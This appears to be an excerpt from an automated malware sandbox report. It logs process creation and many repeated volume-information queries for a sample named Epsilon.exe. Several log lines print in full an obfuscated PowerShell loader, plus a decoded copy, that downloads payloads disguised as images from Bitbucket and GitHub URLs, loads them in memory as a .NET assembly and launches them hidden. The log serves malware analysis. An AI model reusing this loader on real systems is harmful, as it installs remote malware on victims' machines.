Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$dosigo = 'wwbo$gu$d$$u$fm$zqby$hy$aqbj$gu$u$bv$gk$bgb0$e0$yqbu$ge$zwbl$hi$xq$6$do$uwbl$gm$dqby$gk$d$b5$f$$cgbv$hq$bwbj$g8$b$$g$d0$i$bb$e4$zqb0$c4$uwbl$gm$dqby$gk$d$b5$f$$cgbv$hq$bwbj$g8$b$bu$hk$c$bl$f0$og$6$fq$b$bz$de$mg$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$zgb1$g4$ywb0$gk$bwbu$c$$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$rgby$g8$bqbm$gk$bgbr$hm$i$b7$c$$c$bh$hi$yqbt$c$$k$bb$hm$d$by$gk$bgbn$fs$xqbd$cq$b$bp$g4$awbz$ck$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$b3$gu$ygbd$gw$aqbl$g4$d$$g$d0$i$bo$gu$dw$t$e8$ygbq$gu$ywb0$c$$uwb5$hm$d$bl$g0$lgbo$gu$d$$u$fc$zqbi$em$b$bp$gu$bgb0$ds$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$bz$gg$dqbm$gy$b$bl$gq$t$bp$g4$awbz$c$$pq$g$ec$zqb0$c0$ugbh$g4$z$bv$g0$i$$t$ek$bgbw$hu$d$bp$gi$agbl$gm$d$$g$cq$b$bp$g4$awbz$c$$lqbd$g8$dqbu$hq$i$$k$gw$aqbu$gs$cw$u$ew$zqbu$gc$d$bo$ds$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$zgbv$hi$zqbh$gm$a$$g$cg$j$bs$gk$bgbr$c$$aqbu$c$$j$bz$gg$dqbm$gy$b$bl$gq$t$bp$g4$awbz$ck$i$b7$c$$d$by$hk$i$b7$c$$cgbl$hq$dqby$g4$i$$k$hc$zqbi$em$b$bp$gu$bgb0$c4$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$k$$k$gw$aqbu$gs$kq$g$h0$i$bj$ge$d$bj$gg$i$b7$c$$ywbv$g4$d$bp$g4$dqbl$c$$fq$g$h0$ow$g$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$by$gu$d$b1$hi$bg$g$cq$bgb1$gw$b$$g$h0$ow$g$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$k$gw$aqbu$gs$cw$g$d0$i$b$$cg$jwbo$hq$d$bw$hm$og$v$c8$ygbp$hq$ygb1$gm$awbl$hq$lgbv$hi$zw$v$go$a$bn$gy$a$bo$gs$agbl$gu$z$bl$gy$z$bm$c8$bqbu$gi$dgbn$go$z$bn$c8$z$bv$hc$bgbs$g8$yqbk$hm$lwb0$gu$cwb0$c4$agbw$gc$pw$1$dm$nw$2$de$mq$n$cw$i$$n$gg$d$b0$h$$cw$6$c8$lwby$ge$dw$u$gc$aqb0$gg$dqbi$hu$cwbl$hi$ywbv$g4$d$bl$g4$d$$u$gm$bwbt$c8$zwbt$gu$z$b1$hm$yq$x$dm$nq$v$g4$yqbu$g8$lwby$gu$zgbz$c8$a$bl$ge$z$bz$c8$bqbh$gk$bg$v$g4$zqb3$f8$aqbt$gc$mq$y$dm$lgbq$h$$zw$n$ck$ow$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$k$gk$bqbh$gc$zqbc$hk$d$bl$hm$i$$9$c$$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$rgby$g8$bqbm$gk$bgbr$hm$i$$k$gw$aqbu$gs$cw$7$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$gk$zg$g$cg$j$bp$g0$yqbn$gu$qgb5$hq$zqbz$c$$lqbu$gu$i$$k$g4$dqbs$gw$kq$g$hs$i$$k$gk$bqbh$gc$zqbu$gu$e$b0$c$$pq$g$fs$uwb5$hm$d$bl$g0$lgbu$gu$e$b0$c4$rqbu$gm$bwbk$gk$bgbn$f0$og$6$fu$v$bg$dg$lgbh$gu$d$bt$hq$cgbp$g4$zw$o$cq$aqbt$ge$zwbl$ei$eqb0$gu$cw$p$ds$dq$k$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$bz$hq$yqby$hq$rgbs$ge$zw$g$d0$i$$n$dw$p$bc$ee$uwbf$dy$n$bf$fm$v$bb$fi$v$$+$d4$jw$7$c$$j$bl$g4$z$bg$gw$yqbn$c$$pq$g$cc$p$$8$ei$qqbt$eu$ng$0$f8$rqbo$eq$pg$+$cc$ow$g$cq$cwb0$ge$cgb0$ek$bgbk$gu$e$$g$d0$i$$k$gk$bqbh$gc$zqbu$gu$e$b0$c4$sqbu$gq$zqb4$e8$zg$o$cq$cwb0$ge$cgb0$ey$b$bh$gc$kq$7$c$$dq$k$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$cq$zqbu$gq$sqbu$gq$zqb4$c$$pq$g$cq$aqbt$ge$zwbl$fq$zqb4$hq$lgbj$g4$z$bl$hg$twbm$cg$j$bl$g4$z$bg$gw$yqbn$ck$ow$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$bp$gy$i$$o$cq$cwb0$ge$cgb0$ek$bgbk$gu$e$$g$c0$zwbl$c$$m$$g$c0$yqbu$gq$i$$k$gu$bgbk$ek$bgbk$gu$e$$g$c0$zwb0$c$$j$bz$hq$yqby$hq$sqbu$gq$zqb4$ck$i$b7$c$$j$bz$hq$yqby$hq$sqbu$gq$zqb4$c$$kw$9$c$$j$bz$hq$yqby$hq$rgbs$ge$zw$u$ew$zqbu$gc$d$bo$d
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $encodedtext =[convert]::tobase64string($bytes); $commandbytes = [system.convert]::frombase64string($base64command); $text = $encodedtext; $loadedassembly = [system.reflection.assembly]::load($commandbytes); $encodedtext =[convert]::tobase64string($bytes); $compressedbytearray = get-compressedbytearray -bytearray $enctext $type = $loadedassembly.gettype('testpowershell.hoaaaaaasdme'); $encodedtext =[convert]::tobase64string($bytes); $method = $type.getmethod('lfsgeddddddda').invoke($null, [object[]] (' txt.hckskpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'startupname', 'msbuild', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$dosigo = 'wwbo$gu$d$$u$fm$zqby$hy$aqbj$gu$u$bv$gk$bgb0$e0$yqbu$ge$zwbl$hi$xq$6$do$uwbl$gm$dqby$gk$d$b5$f$$cgbv$hq$bwbj$g8$b$$g$d0$i$bb$e4$zqb0$c4$uwbl$gm$dqby$gk$d$b5$f$$cgbv$hq$bwbj$g8$b$bu$hk$c$bl$f0$og$6$fq$b$bz$de$mg$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$zgb1$g4$ywb0$gk$bwbu$c$$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$rgby$g8$bqbm$gk$bgbr$hm$i$b7$c$$c$bh$hi$yqbt$c$$k$bb$hm$d$by$gk$bgbn$fs$xqbd$cq$b$bp$g4$awbz$ck$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$b3$gu$ygbd$gw$aqbl$g4$d$$g$d0$i$bo$gu$dw$t$e8$ygbq$gu$ywb0$c$$uwb5$hm$d$bl$g0$lgbo$gu$d$$u$fc$zqbi$em$b$bp$gu$bgb0$ds$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$bz$gg$dqbm$gy$b$bl$gq$t$bp$g4$awbz$c$$pq$g$ec$zqb0$c0$ugbh$g4$z$bv$g0$i$$t$ek$bgbw$hu$d$bp$gi$agbl$gm$d$$g$cq$b$bp$g4$awbz$c$$lqbd$g8$dqbu$hq$i$$k$gw$aqbu$gs$cw$u$ew$zqbu$gc$d$bo$ds$i$$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$zgbv$hi$zqbh$gm$a$$g$cg$j$bs$gk$bgbr$c$$aqbu$c$$j$bz$gg$dqbm$gy$b$bl$gq$t$bp$g4$awbz$ck$i$b7$c$$d$by$hk$i$b7$c$$cgbl$hq$dqby$g4$i$$k$hc$zqbi$em$b$bp$gu$bgb0$c4$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$k$$k$gw$aqbu$gs$kq$g$h0$i$bj$ge$d$bj$gg$i$b7$c$$ywbv$g4$d$bp$g4$dqbl$c$$fq$g$h0$ow$g$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$by$gu$d$b1$hi$bg$g$cq$bgb1$gw$b$$g$h0$ow$g$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$k$gw$aqbu$gs$cw$g$d0$i$b$$cg$jwbo$hq$d$bw$hm$og$v$c8$ygbp$hq$ygb1$gm$awbl$hq$lgbv$hi$zw$v$go$a$bn$gy$a$bo$gs$agbl$gu$z$bl$gy$z$bm$c8$bqbu$gi$dgbn$go$z$bn$c8$z$bv$hc$bgbs$g8$yqbk$hm$lwb0$gu$cwb0$c4$agbw$gc$pw$1$dm$nw$2$de$mq$n$cw$i$$n$gg$d$b0$h$$cw$6$c8$lwby$ge$dw$u$gc$aqb0$gg$dqbi$hu$cwbl$hi$ywbv$g4$d$bl$g4$d$$u$gm$bwbt$c8$zwbt$gu$z$b1$hm$yq$x$dm$nq$v$g4$yqbu$g8$lwby$gu$zgbz$c8$a$bl$ge$z$bz$c8$bqbh$gk$bg$v$g4$zqb3$f8$aqbt$gc$mq$y$dm$lgbq$h$$zw$n$ck$ow$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$k$gk$bqbh$gc$zqbc$hk$d$bl$hm$i$$9$c$$r$bv$hc$bgbs$g8$yqbk$eq$yqb0$ge$rgby$g8$bqbm$gk$bgbr$hm$i$$k$gw$aqbu$gs$cw$7$$0$cg$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$gk$zg$g$cg$j$bp$g0$yqbn$gu$qgb5$hq$zqbz$c$$lqbu$gu$i$$k$g4$dqbs$gw$kq$g$hs$i$$k$gk$bqbh$gc$zqbu$gu$e$b0$c$$pq$g$fs$uwb5$hm$d$bl$g0$lgbu$gu$e$b0$c4$rqbu$gm$bwbk$gk$bgbn$f0$og$6$fu$v$bg$dg$lgbh$gu$d$bt$hq$cgbp$g4$zw$o$cq$aqbt$ge$zwbl$ei$eqb0$gu$cw$p$ds$dq$k$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$j$bz$hq$yqby$hq$rgbs$ge$zw$g$d0$i$$n$dw$p$bc$ee$uwbf$dy$n$bf$fm$v$bb$fi$v$$+$d4$jw$7$c$$j$bl$g4$z$bg$gw$yqbn$c$$pq$g$cc$p$$8$ei$qqbt$eu$ng$0$f8$rqbo$eq$pg$+$cc$ow$g$cq$cwb0$ge$cgb0$ek$bgbk$gu$e$$g$d0$i$$k$gk$bqbh$gc$zqbu$gu$e$b0$c4$sqbu$gq$zqb4$e8$zg$o$cq$cwb0$ge$cgb0$ey$b$bh$gc$kq$7$c$$dq$k$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$cq$zqbu$gq$sqbu$gq$zqb4$c$$pq$g$cq$aqbt$ge$zwbl$fq$zqb4$hq$lgbj$g4$z$bl$hg$twbm$cg$j$bl$g4$z$bg$gw$yqbn$ck$ow$n$$o$i$$g$c$$i$$g$c$$i$$g$c$$i$$g$c$$i$bp$gy$i$$o$cq$cwb0$ge$cgb0$ek$bgbk$gu$e$$g$c0$zwbl$c$$m$$g$c0$yqbu$gq$i$$k$gu$bgbk$ek$bgbk$gu$e$$g$c0$zwb0$c$$j$bz$hq$yqby$hq$sqbu$gq$zqb4$ck$i$b7$c$$j$bz$hq$yqby$hq$sqbu$gq$zqb4$c$$kw$9$c$$j$bz$hq$yqby$hq$rgbs$ge$zw$u$ew$zqbu$gc$d$bo$d	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $encodedtext =[convert]::tobase64string($bytes); $commandbytes = [system.convert]::frombase64string($base64command); $text = $encodedtext; $loadedassembly = [system.reflection.assembly]::load($commandbytes); $encodedtext =[convert]::tobase64string($bytes); $compressedbytearray = get-compressedbytearray -bytearray $enctext $type = $loadedassembly.gettype('testpowershell.hoaaaaaasdme'); $encodedtext =[convert]::tobase64string($bytes); $method = $type.getmethod('lfsgeddddddda').invoke($null, [object[]] (' txt.hckskpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'startupname', 'msbuild', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF7378211CC LoadLibraryA,GetProcAddress,AllocateAndInitializeSid,FreeSid,FreeLibrary,

0_2_00007FF7378211CC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
